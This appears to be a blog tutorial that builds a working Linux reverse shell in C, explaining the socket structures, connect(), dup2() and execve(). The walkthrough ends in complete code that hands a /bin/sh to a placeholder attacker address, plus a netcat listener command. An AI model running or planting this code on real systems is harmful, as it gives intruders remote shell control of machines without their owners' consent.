Create a simple reverse shell in C/C++

02 April 2022

If you’re reading this, you probably know what a “reverse shell” is, but, do you know how it works and the theory behind it?

In this tutorial we will see how to make a simple and functional reverse shell from scratch in C/C++ for Linux and for Windows.

This reverse shell shell is also available on my github.

Contents

Linux

Start

We will start by creating the main function and a couple of defines for the attacker IP and port, these will be the IP and port the reverse shell will try to connect to and where the attacker (us) will be listening with netcat.

The sockaddr struct

Let’s go with something more interesting, let’s see how to make the connection from the target to the attacker.

For this part we will use sockets. Sockets is the way of connecting two nodes on a network (including Internet) to communicate them. One socket listens on a particular port (the attacker in our case) and the other socket (the target) reaches into it to form a connection.

For more information about socket programming in C/C++ you can visit this geeks for geeks post.

Let’s include the library <arpa/inet.h> and create a struct sockaddr_in variable, this is the structure for all syscalls and functions that deal with IPv4 Internet addresses.

For reference, these are some of the structures:

This is what our code looks like after declaring sockaddr_in and defining all its members:

#include <arpa/inet.h>

#define ATTACKER_IP "0.0.0.0"
#define ATTACKER_PORT 0

int main(void) {
    struct sockaddr_in sa; // struct
    sa.sin_family = AF_INET; // AF_INET for IPv4 / AF_INET6 for IPv6
    sa.sin_port = htons(ATTACKER_PORT); // htons() takes an integer in host byte order and returns an integer in network byte order used in TCP/IP networks
    sa.sin_addr.s_addr = inet_addr(ATTACKER_IP); // inet_addr() interprets the character string representing the IP address

    return (0);
}

Just for reference, these are the prototypes of the structures and a more advanced explanation of them:

#include <netinet/in.h>

/* Common struct:
 * socket functions takes this as parameter and use it to identify the
 * family (AF_INET, AF_INET6 or AF_UNIX), that way they can behave 
 * differently depending on the family.
 */
struct sockaddr {
    unsigned short    sa_family;    //  2 bytes: address family, AF_xxx
    char              sa_data[14];  // 14 bytes: to get to 16 bytes.
};

/* AF_INET (IPv4) structure: */
struct sockaddr_in {
    short            sin_family;    // 2 bytes: AF_INET for IPv4
    unsigned short   sin_port;      // 2 bytes: htons(PORT)
    struct in_addr   sin_addr;      // 4 bytes: see struct in_addr below
    char             sin_zero[8];   // 8 bytes: to get to 16 bytes.
};

/* Saves a number suitable for use as an Internet address */
struct in_addr {
    unsigned long s_addr;          // 4 bytes: inet_addr(IP) for IPv4
};

/* Explanation:
 * It is interesting to see how the structures fill to reach 16 bytes,
 * in this way they all take the same amount of memory (16 bytes), so
 * sockaddr can be casted to the other types without problems or losing
 * data.
 * (Avoid using sockaddr, this is done by the library just to be able
 * to receive a common parameter in the functions, and cast once they
 * know the type).
 */

The socket

Before you go any further, if you don’t know what a file descriptor is, maybe you’re rushing a little too much with C. Please review what are the file descriptors so you can understand the next step.

Now let’s create a socket file descriptor, it’s like a normal file descriptor, but instead of a file, we will “open” a connection with other socket (node):

#include <arpa/inet.h>

#define ATTACKER_IP "0.0.0.0"
#define ATTACKER_PORT 0

int main(void) {
    struct sockaddr_in sa;
    sa.sin_family = AF_INET;
    sa.sin_port = htons(ATTACKER_PORT);
    sa.sin_addr.s_addr = inet_addr(ATTACKER_IP);

    /* Prototype:
     * int socket(int domain, int type, int protocol);
     * @param domain: communication domain, we are using AF_INET (IPv4).
     * @param type: SOCK_STREAM provides sequenced, reliable, two-way, connection-based byte streams.
     * @param protocol: a particular protocol to be used (normally only a single protocol exists to support a particular socket type, in which case, protocol can be specified as 0.
     */
    int sockt = socket(AF_INET, SOCK_STREAM, 0);

    return (0);
}

You can find more information about the socket() function on the man page.

Establishing the connection

The time has come, we already have all the necessary information for the connection in the structure sockaddr_in, and an open socket through which to establish the connection. To do this we will call the connect() function.

If the connection is made correctly the function connect() will return 0, so we will protect a connection failure (e.g. the attacker is not listening on the port) with an if () and we will print an error and exit the program.

#include <arpa/inet.h>
#include <stdio.h>

#define ATTACKER_IP "0.0.0.0"
#define ATTACKER_PORT 0

int main(void) {
    struct sockaddr_in sa;
    sa.sin_family = AF_INET;
    sa.sin_port = htons(ATTACKER_PORT);
    sa.sin_addr.s_addr = inet_addr(ATTACKER_IP);

    int sockt = socket(AF_INET, SOCK_STREAM, 0);

    if (connect(sockt, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
        printf("[ERROR] connection failed.\n");
        return (1);
    }

    return (0);
}

For reference, the connect() prototype:

/* connect() receives by parameter the socket in which to make
 * the connection, and our structure with all the information.
 * The third parameter is to indicate the size of the structure
 * and avoid segfaults.
 */
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

At this point you can test if the program makes the connection. Of course it will be necessary for the attacker to be listening or the connection will fail. As you should know, we will use netcat in the attacker for this purpose:

nc -lvvnp PORT

Compile and run the program in the target, the output on yout computer should be semething like this:

Listening on 0.0.0.0 PORT
Connection received on XX.XX.XX.XX XXXX

Creating the reverse shell

Our program makes the connection, but that’s all, now comes the interesting part, we will execute a shell on the target and make the attacker able to interact with it. We will divide this process into two steps.

First we’ll duplicate the stdin, stdout and stderr fd to out socket. In this way, everything that is send by the attacker and received through the socket fd will go to stdin, and everything that goes out through stdout and/or stderr will go through the socket fd, thus reaching the attacker.

Obviously we will use dup2() for this purpose (dup2 man page):

#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>

#define ATTACKER_IP "0.0.0.0"
#define ATTACKER_PORT 0

int main(void) {
    struct sockaddr_in sa;
    sa.sin_family = AF_INET;
    sa.sin_port = htons(ATTACKER_PORT);
    sa.sin_addr.s_addr = inet_addr(ATTACKER_IP);

    int sockt = socket(AF_INET, SOCK_STREAM, 0);

    if (connect(sockt, (struct sockaddr *)&sa, sizeof(sa)) != 0) {
        printf("[ERROR] connection failed.\n");
        return (1);
    }

    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    return (0);
}

Cool, now the stdin, stdout and stderr are in the hands of the attacker (our hands), all we have to do now is run a shell so the attacker can interact with it.

We will use execve() to execute /bin/sh, of course you can change it to /bin/bash, but using /bin/sh it’s a more portable option. To call execve() we will have to pass the following parameters:

execve() man page.

#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>

#define ATTACKER_IP "0.0.0.0"
#define ATTACKER_PORT 0

int main(void) {
    struct sockaddr_in sa;
    sa.sin_family = AF_INET;
    sa.sin_port = htons(ATTACKER_PORT);
    sa.sin_addr.s_addr = inet_addr(ATTACKER_IP);

    int sockt = socket(AF_INET, SOCK_STREAM, 0);

    if (connect(sockt, (struct sockaddr *)&sa, sizeof(sa)) != 0) {
        printf("[ERROR] connection failed.\n");
        return (1);
    }

    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char *const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);

    return (0);
}

Ans that’s all! We already have a simple reverse shell for Linux up and running. Of course, whenever you are going to use it, make sure you do it under your environment or with the consent of the target.

Windows

Coming soon...